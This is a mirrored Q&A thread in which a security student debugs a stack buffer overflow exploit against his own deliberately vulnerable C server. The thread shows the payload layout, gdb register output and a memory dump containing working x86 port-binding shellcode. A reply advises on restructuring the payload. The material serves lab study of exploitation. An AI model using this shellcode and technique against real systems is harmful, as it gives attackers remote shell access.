【问题标题】:Buffer overflow on remote server远程服务器上的缓冲区溢出
【发布时间】:2013-03-02 19:50:17
【问题描述】:

我是一名计算机安全专业的学生,​​我正在做一个关于远程缓冲区溢出的项目。我用 C 语言开发了一个易受攻击的服务器,不安全地使用了 strncpy 函数,该函数实际上在 512 字节缓冲区上复制了 1024 字节,并利用了一个漏洞来测试漏洞。

我的服务器代码的结构基本上是这样的:

main()
{
    /* socket programming stuff here */

    /* accept input string with busy waiting loop */

    /* call vulnerable function to process string */

    /* the rest of the code should be never executed if attack succeeds*/
 }

vuln (descriptor, pointer to buffer)
{
    /* copies to smaller buffer overflowing it to overwrite return address */

    /* call other_function */

    /* returns control to main */
 }

 other_function()
 {
     /* do other stuff */
 }

我使用 -fno-stack-protector、-static 和 -z execstack 标志编译它,并在我的 Ubuntu 机器上关闭了 ASLR。

一般的想法是执行一个简单的端口绑定shellcode并获得一个远程shell。问题是我在 gdb 上继续收到以下错误:

" 警告: 无法插入断点 0。 访问内存地址 0x90909090 时出错:输入/输出错误。

0xbfffec8c 在 ?? () "

将执行流程从易受攻击的函数恢复到调用 main 的返回地址位于地址 0xbffffedc4:

0xbffffedbc: 0x08049940 0xbffff258 0x08049097 0x00000008

我设法用一个有意义的地址覆盖它,该地址指向我的 nop 雪橇,但由于某种原因,我无法让我的机器执行的 NOP 指令最终到达 shellcode。恶意缓冲区的大致布局是:

[nop sled (大约 420 字节)] [shellcode] [repeated ret addr] 0xbffffebbc - 0xbfffed5c 0xbfffed60 0xbffffedbc - 0xbffffefb4

...EIP 被重定向到 0xbfffec8c,大致在 NOP sled 的中间。

在出现段错误后,info r 表示 EIP 已正确加载所需地址 (0xbfffec8c):

eax            0xffffffff   -1
ecx            0x80f3840    135215168
edx            0x61e    1566
ebx            0x0  0
esp            0xbfffedc8   0xbfffedc8
ebp            0xbfffec8c   0xbfffec8c
esi            0x0  0
edi            0xbfffec8c   -1073746804
eip            0xbfffec8c   0xbfffec8c
eflags         0x282    [ SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

...如果我反汇编堆栈内存的那个区域,我会得到预期的缓冲区内容(许多 0x90 后跟我的 shellcode):

(gdb) x/128xw 0xbfffec8c
0xbfffec8c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffec9c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecac: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecbc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffeccc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecdc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecec: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecfc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed0c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed1c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed2c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed3c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed4c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed5c: 0x90909090  0x9958666a  0x5243db31  0x026a016a
0xbfffed6c: 0x80cde189  0x58666a96  0x68665243  0x5366697a
0xbfffed7c: 0x106ae189  0xe1895651  0x66b080cd  0x56534343
0xbfffed8c: 0x80cde189  0x524366b0  0xe1895652  0x6a9380cd
0xbfffed9c: 0x3fb05902  0x794980cd  0x520bb0f9  0x732f2f68
0xbfffedac: 0x622f6868  0xe3896e69  0x53e28952  0x80cde189
0xbfffedbc: 0xbfffec8c  0xbfffec8c  0xbfffec8c  0xbfffec8c

请帮助我找出问题所在,如果您能够从我提供的信息中找出问题,而不是确切的解决方案,请提供关于我应该寻找什么的提示或建议。我不想作弊:)

感谢您的宝贵时间。 亲切的问候, 曼科

【问题讨论】:

    标签: security sockets client-server buffer-overflow exploit


    【解决方案1】:

    似乎在执行的特定点 eip 有 0x90909090 这当然超出了堆栈范围。或者它可能是在异常发生后传输代码执行的 seh。使用 nopseled 大小的模式并找到新的“访问内存地址 0x__ 时出错”以找到问题所在

    如果我可以说,我没有看到重复返回地址的任何原因。如果你喜欢尝试在 eip 覆盖后添加 shellcode。如果可能的话,那会更容易,(如果缓冲区可以被无限覆盖)

    在你的情况下,[nop sled (bytes until eip overwrite - bytes of shellcode)] [shellcode][eip overwrite value(bfffec8c)][optional: nopsled] 就足够了。

    【讨论】:

      猜你喜欢
      • 2012-07-12
      • 2011-12-19
      • 2015-12-16
      • 1970-01-01
      • 2010-11-11
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2019-04-17
      相关资源
      最近更新 更多